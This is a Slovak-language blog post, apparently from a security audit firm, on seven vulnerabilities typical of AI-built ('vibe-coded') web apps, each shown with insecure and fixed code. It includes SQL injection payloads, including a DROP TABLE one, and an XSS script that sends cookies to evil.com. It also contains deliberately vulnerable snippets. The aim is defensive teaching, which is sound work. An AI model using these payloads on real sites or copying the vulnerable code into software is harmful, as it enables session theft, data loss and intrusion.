Bezpečnostné diery, ktoré má každá vibe-coded aplikácia
Postavili ste appku s AI. Vyzerá skvele, funguje, používatelia sa registrujú. Ale je tu problém, ktorý z UI nevidíte: vaša aplikácia je takmer určite plná bezpečnostných dier.
Toto nie je kritika AI nástrojov. Sú optimalizované na to, aby funkcie fungovali, nie na obranu do hĺbky. Bezpečnosť je adversariálne myslenie — predvídanie toho, ako sa niekto pokúsi preraziť váš systém. AI generátory kódu nemyslia ako útočníci. Myslia ako stavitelia dém.
Tu je sedem bezpečnostných zraniteľností, ktoré nachádzame prakticky v každej vibe-coded aplikácii. Každá je zneužiteľná a každá má priamočiare riešenie.
1. Exponované premenné prostredia
Toto je najčastejšia a najnebezpečnejšia zraniteľnosť. AI nástroje často hardkódujú API kľúče, prihlasovacie údaje k databáze a tajné tokeny priamo do zdrojového kódu.
Ako to vyzerá:
// Toto je vo vašom repozitári práve teraz
const stripe = new Stripe('sk_live_abc123skutocnykluc...')
const dbUrl = 'postgresql://admin:heslo123@db.example.com:5432/prod'
Ak je váš kód vo verejnom repozitári, automatizované boty už tieto kľúče hľadajú. Ak je v súkromnom repo, jediný kompromitovaný vývojársky účet odhalí všetko.
Dokonca ani .env súbory nie sú bezpečné, ak sú commitnuté do gitu. Pravidelne nachádzame produkčné heslá k databázam v git histórii.
Riešenie:
- Nikdy nehardkódujte tajomstvá. Používajte premenné prostredia načítané z
.envsúborov, ktoré sú v.gitignore - Pre produkciu použite správcu tajomstiev (AWS Secrets Manager, Vault, alebo dokonca šifrované premenné prostredia vo vašom hostingu)
- Auditujte vašu git históriu:
git log --all -p | grep -i "password\|secret\|api_key"— ak niečo nájdete, okamžite rotujte tieto poverenia - Používajte rôzne poverenia pre každé prostredie
2. Žiadna validácia vstupov
AI-generované backendy akceptujú akékoľvek dáta, ktoré im pošlete. Žiadna kontrola typov, žiadne limity dĺžky, žiadna validácia formátu. Každé vstupné pole je potenciálny vektor útoku.
Ako to vyzerá:
// AI-generované: verzia ktorá dôveruje všetkému
app.post('/api/users', async (req, res) => {
const user = await db.user.create({ data: req.body })
res.json(user)
})
Útočník môže poslať { "role": "admin", "email": "čokoľvek" } a vaša aplikácia veselo vytvorí admin používateľa. Alebo pošle 10MB reťazec v poli meno a znefunkční váš server.
Riešenie:
// Produkčné: validuje všetko
import { z } from 'zod'
const CreateUserSchema = z.object({
email: z.string().email().max(255),
name: z.string().min(1).max(100),
// rola sa z inputu NEAKCEPTUJE
})
app.post('/api/users', async (req, res) => {
const data = CreateUserSchema.parse(req.body)
const user = await db.user.create({ data })
res.json(user)
})
Používajte Zod (TypeScript), Pydantic (Python), alebo ekvivalent vášho jazyka. Validujte každý vstup na každom endpointe. Nikdy nedôverujte klientovi.
3. Predvolené poverenia a otvorené admin panely
AI nástroje postavia admin panely s predvolenými používateľskými menami a heslami. Niekedy ani nepridajú autentifikáciu na admin routes.
Auditovali sme aplikácie, kde bol /admin prístupný komukoľvek, kto zadal URL. Žiadne prihlásenie. Plný prístup k používateľským dátam, konfigurácii a databázovým operáciám.
Čo skontrolovať:
- Je váš admin panel chránený autentifikáciou?
- Zmenili ste predvolené admin poverenia?
- Je admin panel prístupný z verejného internetu, alebo len z vašej internej siete?
- Vyžaduje admin prístup viacfaktorovú autentifikáciu?
Riešenie: Minimálne dajte váš admin panel za autentifikáciu so silným, unikátnym heslom. Ideálne obmedzte admin prístup na konkrétne IP adresy alebo VPN. Pridajte MFA pre každý účet s admin právami.
4. Chýbajúca CORS konfigurácia
Cross-Origin Resource Sharing (CORS) riadi, ktoré domény môžu robiť requesty na vaše API. AI-generované aplikácie typicky nastavia CORS na * — čo znamená, že akákoľvek webová stránka na internete môže robiť autentifikované requesty na váš backend.
Ako to vyzerá:
// AI-generované: povolí všetko
app.use(cors({ origin: '*' }))
To znamená, že útočník môže postaviť škodlivú webovú stránku, ktorá robí requesty na vaše API používaním cookies vašich používateľov. Ak prihlásený používateľ navštívi útočníkovu stránku, útočník môže konať ako ten používateľ.
Riešenie:
// Produkčné: whitelist vašich domén
app.use(cors({
origin: ['https://vasaappka.com', 'https://app.vasaappka.com'],
credentials: true,
}))
Povoľte len originy, ktoré kontrolujete. Buďte explicitní. Vo vývoji môžete pridať localhost, ale nikdy nedodávajte * do produkcie.
5. Žiadny rate limiting
Bez rate limitingu je vaše API bufet pre útočníkov. Brute force pokusy o prihlásenie, credential stuffing, API scraping, denial of service — to všetko je triviálne jednoduché, keď neexistujú limity.
Čo je v ohrození:
- Prihlasovacie endpointy — útočník môže vyskúšať tisíce hesiel za minútu
- Reset hesla — odoslať tisíce resetovacích emailov na obťažovanie vašich používateľov
- API endpointy — vyscrapovať všetky vaše dáta alebo navýšiť náklady na infraštruktúru
- Registrácia — vytvoriť tisíce falošných účtov
Riešenie:
import rateLimit from 'express-rate-limit'
// Všeobecný API rate limit
app.use('/api/', rateLimit({
windowMs: 15 * 60 * 1000, // 15 minút
max: 100, // 100 requestov za okno
}))
// Prísnejší limit na auth endpointy
app.use('/api/auth/', rateLimit({
windowMs: 15 * 60 * 1000,
max: 10, // 10 pokusov za 15 minút
}))
Minimálne pridajte rate limiting na autentifikačné endpointy. Ideálne limitujte všetko s rozumnými defaultmi.
6. SQL Injection
Mysleli by ste, že toto je v roku 2026 vyriešený problém. Nie je. AI-generovaný kód stále stavia SQL dotazy konkatenáciou reťazcov, obzvlášť pri vyhľadávaní, filtrovaní a reportovacích funkciách.
Ako to vyzerá:
// AI-generované: zraniteľné na SQL injection
app.get('/api/users', async (req, res) => {
const users = await db.$queryRaw(
`SELECT * FROM users WHERE name LIKE '%${req.query.search}%'`
)
res.json(users)
})
Útočník pošle search=' OR '1'='1' -- a dostane celú vašu tabuľku používateľov. Alebo horšie: search='; DROP TABLE users; --.
Riešenie:
// Produkčné: parameterizovaný dotaz
app.get('/api/users', async (req, res) => {
const users = await db.$queryRaw(
Prisma.sql`SELECT * FROM users WHERE name LIKE ${`%${req.query.search}%`}`
)
res.json(users)
})
Vždy používajte parameterizované dotazy alebo vstavaný query builder vášho ORM. Nikdy nekoncatenujte používateľský vstup do SQL reťazcov. Toto pravidlo nemá žiadne výnimky.
7. Cross-Site Scripting (XSS)
AI-generované aplikácie často vykreslia používateľský obsah bez sanitizácie. Ak môže používateľ zadať text, ktorý sa zobrazuje ďalším používateľom — komentáre, profily, správy — XSS je takmer zaručený.
Ako to vyzerá:
// AI-generované: zraniteľné na XSS
function Comment({ text }) {
return <div dangerouslySetInnerHTML={{ __html: text }} />
}
Útočník odošle komentár obsahujúci <script>document.location='https://evil.com/steal?cookie='+document.cookie</script> a ukradne session každého používateľa, ktorý ten komentár zobrazí.
Riešenie:
- Nikdy nepoužívajte
dangerouslySetInnerHTMLs používateľským obsahom - React escapuje obsah štandardne — neobchádzajte to
- Ak musíte renderovať HTML, použite sanitizačnú knižnicu ako DOMPurify
- Nastavte Content Security Policy hlavičky na prevenciu vykonávania inline skriptov
// Produkčné: štandardne escapované
function Comment({ text }) {
return <div>{text}</div>
}
Zreťazené riziko
Každá zraniteľnosť sama o sebe je problém. Spolu sú katastrofálne. Útočník nájde váš exponovaný API kľúč (zraniteľnosť 1), využije absenciu rate limitingu (zraniteľnosť 5) na enumeráciu používateľov cez nevalidované API (zraniteľnosť 2) a eskaluje na admin prístup cez predvolené poverenia (zraniteľnosť 3).
Bezpečnosť je reťaz. AI nástroje nemyslia v reťazcoch. Myslia vo featurách.
Čo urobiť hneď teraz
- Prehľadajte váš kód na hardkódované tajomstvá. Rotujte všetky, ktoré nájdete.
- Pridajte validáciu vstupov na každý API endpoint.
- Nakonfigurujte CORS aby povoľoval len vaše domény.
- Pridajte rate limiting minimálne na autentifikačné endpointy.
- Spustite
npm audita opravte kritické zraniteľnosti.
Toto zaberie deň. Môže to zachrániť vašu firmu.
Ak chcete dôkladnú kontrolu, objednajte si bezplatný Quick Audit. Preskenujeme váš kód na tieto zraniteľnosti a ďalšie, a dáme vám prioritizovaný zoznam opráv. Pozrite si aj náš kompletný MVP do produkcie checklist.